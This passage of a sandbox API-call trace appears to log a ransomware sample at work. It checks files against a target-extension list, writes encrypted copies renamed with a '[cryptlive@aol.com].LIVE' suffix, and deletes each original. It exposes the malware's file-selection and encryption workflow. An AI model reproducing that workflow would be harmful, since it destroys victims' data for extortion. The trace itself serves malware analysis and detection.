lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF") returned 63 [0152.753] lstrlenW (lpString=".zip") returned 4 [0152.753] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.753] lstrlenW (lpString=".rar") returned 4 [0152.754] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.754] lstrlenW (lpString=".bz2") returned 4 [0152.754] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.754] lstrlenW (lpString=".7z") returned 3 [0152.754] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF") returned 63 [0152.754] lstrlenW (lpString=".dbf") returned 4 [0152.754] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF") returned 63 [0152.754] lstrlenW (lpString=".1cd") returned 4 [0152.754] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF") returned 63 [0152.754] lstrlenW (lpString=".jpg") returned 4 [0152.754] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF") returned 63 [0152.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF") returned 63 [0152.754] lstrlenW (lpString=".doc") returned 4 [0152.754] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.754] lstrlenW (lpString=".docx") returned 5 [0152.754] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0152.754] lstrlenW (lpString=".pdf") returned 4 [0152.754] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.754] lstrlenW (lpString=".xls") returned 4 [0152.754] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.754] lstrlenW (lpString=".xlsx") returned 5 [0152.754] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0152.754] lstrlenW (lpString=".ppt") returned 4 [0152.754] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF") returned 63 [0152.754] lstrlenW (lpString=".zip") returned 4 [0152.754] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.754] lstrlenW (lpString=".rar") returned 4 [0152.754] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.754] lstrlenW (lpString=".bz2") returned 4 [0152.755] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.755] lstrlenW (lpString=".7z") returned 3 [0152.755] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF") returned 63 [0152.755] lstrlenW (lpString=".dbf") returned 4 [0152.755] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF") returned 63 [0152.755] lstrlenW (lpString=".1cd") returned 4 [0152.755] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF") returned 63 [0152.755] lstrlenW (lpString=".jpg") returned 4 [0152.755] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.755] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0152.755] lstrlenW (lpString="J0105386.WMF") returned 12 [0152.755] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105386.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0152.756] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=5980) returned 1 [0152.756] CloseHandle (hObject=0x1b8) returned 1 [0152.756] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105386.wmf")) returned 0x20 [0152.756] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105386.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0152.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105386.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0152.756] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0152.756] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0152.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105386.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0152.757] GetLastError () returned 0x0 [0152.757] ReadFile (in: hFile=0x1b8, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x175c, lpOverlapped=0x0) returned 1 [0152.793] WriteFile (in: hFile=0x1fc, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x1760, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x1760, lpOverlapped=0x0) returned 1 [0152.794] ReadFile (in: hFile=0x1b8, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0152.794] WriteFile (in: hFile=0x1fc, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0152.794] SetEndOfFile (hFile=0x1fc) returned 1 [0152.794] CloseHandle (hObject=0x1fc) returned 1 [0152.794] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0152.794] SetEndOfFile (hFile=0x1b8) returned 1 [0152.796] CloseHandle (hObject=0x1b8) returned 1 [0152.796] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0152.970] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105386.wmf")) returned 1 [0152.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF") returned 63 [0152.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF") returned 63 [0152.988] lstrlenW (lpString=".doc") returned 4 [0152.988] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.988] lstrlenW (lpString=".docx") returned 5 [0152.988] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0152.988] lstrlenW (lpString=".pdf") returned 4 [0152.989] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.989] lstrlenW (lpString=".xls") returned 4 [0152.989] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.989] lstrlenW (lpString=".xlsx") returned 5 [0152.989] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0152.989] lstrlenW (lpString=".ppt") returned 4 [0152.989] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF") returned 63 [0152.989] lstrlenW (lpString=".zip") returned 4 [0152.989] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.989] lstrlenW (lpString=".rar") returned 4 [0152.989] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.989] lstrlenW (lpString=".bz2") returned 4 [0152.989] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.989] lstrlenW (lpString=".7z") returned 3 [0152.989] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF") returned 63 [0152.989] lstrlenW (lpString=".dbf") returned 4 [0152.989] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF") returned 63 [0152.989] lstrlenW (lpString=".1cd") returned 4 [0152.989] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF") returned 63 [0152.989] lstrlenW (lpString=".jpg") returned 4 [0152.989] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF") returned 63 [0152.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF") returned 63 [0152.990] lstrlenW (lpString=".doc") returned 4 [0152.990] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.990] lstrlenW (lpString=".docx") returned 5 [0152.990] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0152.990] lstrlenW (lpString=".pdf") returned 4 [0152.990] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.990] lstrlenW (lpString=".xls") returned 4 [0152.990] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.990] lstrlenW (lpString=".xlsx") returned 5 [0152.990] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0152.990] lstrlenW (lpString=".ppt") returned 4 [0152.990] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF") returned 63 [0152.990] lstrlenW (lpString=".zip") returned 4 [0152.990] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.990] lstrlenW (lpString=".rar") returned 4 [0152.990] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.990] lstrlenW (lpString=".bz2") returned 4 [0152.990] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.990] lstrlenW (lpString=".7z") returned 3 [0152.990] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF") returned 63 [0152.990] lstrlenW (lpString=".dbf") returned 4 [0152.991] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF") returned 63 [0152.991] lstrlenW (lpString=".1cd") returned 4 [0152.991] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF") returned 63 [0152.991] lstrlenW (lpString=".jpg") returned 4 [0152.991] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.991] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0152.991] lstrlenW (lpString="J0105410.WMF") returned 12 [0152.991] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105410.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0152.992] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=20444) returned 1 [0152.992] CloseHandle (hObject=0x1b8) returned 1 [0152.992] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105410.wmf")) returned 0x20 [0152.992] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105410.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0152.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105410.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0152.993] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0152.993] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0152.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105410.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0152.994] GetLastError () returned 0x0 [0152.994] ReadFile (in: hFile=0x1b8, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x4fdc, lpOverlapped=0x0) returned 1 [0153.022] WriteFile (in: hFile=0x1fc, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x4fe0, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x4fe0, lpOverlapped=0x0) returned 1 [0153.024] ReadFile (in: hFile=0x1b8, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0153.024] WriteFile (in: hFile=0x1fc, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0153.025] SetEndOfFile (hFile=0x1fc) returned 1 [0153.025] CloseHandle (hObject=0x1fc) returned 1 [0153.025] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0153.025] SetEndOfFile (hFile=0x1b8) returned 1 [0153.027] CloseHandle (hObject=0x1b8) returned 1 [0153.028] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0153.028] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105410.wmf")) returned 1 [0153.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF") returned 63 [0153.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF") returned 63 [0153.029] lstrlenW (lpString=".doc") returned 4 [0153.029] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.029] lstrlenW (lpString=".docx") returned 5 [0153.029] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0153.029] lstrlenW (lpString=".pdf") returned 4 [0153.029] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.029] lstrlenW (lpString=".xls") returned 4 [0153.029] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.029] lstrlenW (lpString=".xlsx") returned 5 [0153.029] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0153.029] lstrlenW (lpString=".ppt") returned 4 [0153.029] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF") returned 63 [0153.029] lstrlenW (lpString=".zip") returned 4 [0153.029] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.029] lstrlenW (lpString=".rar") returned 4 [0153.029] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.029] lstrlenW (lpString=".bz2") returned 4 [0153.029] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.029] lstrlenW (lpString=".7z") returned 3 [0153.029] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF") returned 63 [0153.029] lstrlenW (lpString=".dbf") returned 4 [0153.029] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF") returned 63 [0153.029] lstrlenW (lpString=".1cd") returned 4 [0153.029] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF") returned 63 [0153.029] lstrlenW (lpString=".jpg") returned 4 [0153.029] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF") returned 63 [0153.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF") returned 63 [0153.029] lstrlenW (lpString=".doc") returned 4 [0153.029] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.030] lstrlenW (lpString=".docx") returned 5 [0153.030] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0153.030] lstrlenW (lpString=".pdf") returned 4 [0153.030] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.030] lstrlenW (lpString=".xls") returned 4 [0153.030] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.030] lstrlenW (lpString=".xlsx") returned 5 [0153.030] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0153.030] lstrlenW (lpString=".ppt") returned 4 [0153.030] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF") returned 63 [0153.030] lstrlenW (lpString=".zip") returned 4 [0153.030] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.030] lstrlenW (lpString=".rar") returned 4 [0153.030] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.030] lstrlenW (lpString=".bz2") returned 4 [0153.030] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.030] lstrlenW (lpString=".7z") returned 3 [0153.030] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF") returned 63 [0153.030] lstrlenW (lpString=".dbf") returned 4 [0153.030] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF") returned 63 [0153.030] lstrlenW (lpString=".1cd") returned 4 [0153.030] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF") returned 63 [0153.030] lstrlenW (lpString=".jpg") returned 4 [0153.030] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.030] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0153.030] lstrlenW (lpString="J0105490.WMF") returned 12 [0153.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105490.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0153.031] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=18728) returned 1 [0153.031] CloseHandle (hObject=0x1b8) returned 1 [0153.031] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105490.wmf")) returned 0x20 [0153.031] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105490.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0153.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105490.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0153.032] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0153.032] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0153.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105490.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0153.033] GetLastError () returned 0x0 [0153.033] ReadFile (in: hFile=0x1b8, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x4928, lpOverlapped=0x0) returned 1 [0153.069] WriteFile (in: hFile=0x1fc, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x4930, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x4930, lpOverlapped=0x0) returned 1 [0153.070] ReadFile (in: hFile=0x1b8, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0153.070] WriteFile (in: hFile=0x1fc, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0153.070] SetEndOfFile (hFile=0x1fc) returned 1 [0153.070] CloseHandle (hObject=0x1fc) returned 1 [0153.070] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0153.070] SetEndOfFile (hFile=0x1b8) returned 1 [0153.074] CloseHandle (hObject=0x1b8) returned 1 [0153.074] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0153.367] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105490.wmf")) returned 1 [0153.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF") returned 63 [0153.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF") returned 63 [0153.428] lstrlenW (lpString=".doc") returned 4 [0153.428] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.428] lstrlenW (lpString=".docx") returned 5 [0153.428] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0153.428] lstrlenW (lpString=".pdf") returned 4 [0153.428] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.428] lstrlenW (lpString=".xls") returned 4 [0153.428] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.428] lstrlenW (lpString=".xlsx") returned 5 [0153.428] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0153.428] lstrlenW (lpString=".ppt") returned 4 [0153.428] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF") returned 63 [0153.428] lstrlenW (lpString=".zip") returned 4 [0153.428] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.428] lstrlenW (lpString=".rar") returned 4 [0153.428] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.428] lstrlenW (lpString=".bz2") returned 4 [0153.429] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.429] lstrlenW (lpString=".7z") returned 3 [0153.429] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF") returned 63 [0153.429] lstrlenW (lpString=".dbf") returned 4 [0153.429] lstrcmpiW 